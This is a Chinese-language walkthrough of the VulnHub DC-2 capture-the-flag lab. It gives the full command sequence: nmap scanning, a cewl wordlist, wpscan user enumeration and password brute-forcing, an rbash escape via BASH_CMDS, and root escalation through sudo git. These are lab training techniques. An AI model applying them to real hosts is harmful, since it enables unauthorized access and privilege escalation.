一、环境搭建
1、官网下载连接:https://www.vulnhub.com/entry/dc-2,311/
2、下载之后,使用Oracle VM VirtualBox导入靶场环境
3、为了正常练习,将靶场的网卡模式设置为桥接模式,启动即可
二、靶场攻略
1、使用nmap快速扫描的命令:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.1.0/24,识别到靶场主机ip
2、使用命令:nmap -A -p- -T4 192.168.1.5,探测靶场突破口
开放了7744端口号,服务为ssh,80端口,服务为http
3、访问80端口,寻找进一步突破口,直接使用ip访问会跳转到http://dc-2/,所以添加hosts文件,让这个跳转域名来访问靶场ip
在/etc/hosts文件中添加域名
成功访问域名,并得到flag1
4、根据提示,提示使用cewl来生成字典
输入命令:cewl dc-2 > password,爬取dc-2页面,将关键字生成字典写入到password文件中
5、查看网站源码,发现网站中URL目录结构为wp-*的,猜测网站为wordpress搭建的
6、使用wpscan这个专门扫描检测wordpress搭建的工具来查看是否存在已知漏洞
使用命令:wpscan --url dc-2,扫到wordpress的版本,ip地址等信息
使用命令:wpscan --url dc-2 -e u,用户信息枚举,得到几个可以用来登录的账户
7、使用得到的用户名,创建一个username用户文件.
使用命令:wpscan --url dc-2 -U username -P password,使用得到的用户名还有cewl得到的密码尝试爆破,成功爆破出两个账户密码
8、因为wordpress的后台登录目录是公开的,所以直接访问/wp-admin,成功出现后台登录界面
使用爆破的账户密码,登录成功
在jerry账户中,得到flag2
9、根据flag2的提示,找另一个入口,想到ssh服务,使用命令:ssh tom@192.168.1.5 -p 7744,成功登录ssh
得到flag3,因为cat无法使用,所以使用vi命令,得到提示
10、因为使用tab,cat等命令无法使用,所以知道当前账户是受限制的,所以可以进行rbash绕过
输入以下命令:
BASH_CMDS[a]=/bin/bash
a
/bin/bash
export PATH=PATH:/sbin:/bin
输入之后,可以正常使用受限制的命令了
11、进行收集信息,使用命令:ls -alhR /home,得到flag4和jerry账户信息
12、根据flag4的提示信息,明显是要使用git提权
使用命令:su jerry,切换到jerry账户
使用命令:sudo -l,查看可以无密码使用root权限的命令,果然是git
13、查询到git提权的方法
输入命令:sudo git help config
之后直接在出现的help界面,输入 !/bin/bash,成功提权
切换到root账户根目录,成功得到最后的final-flag.txt
完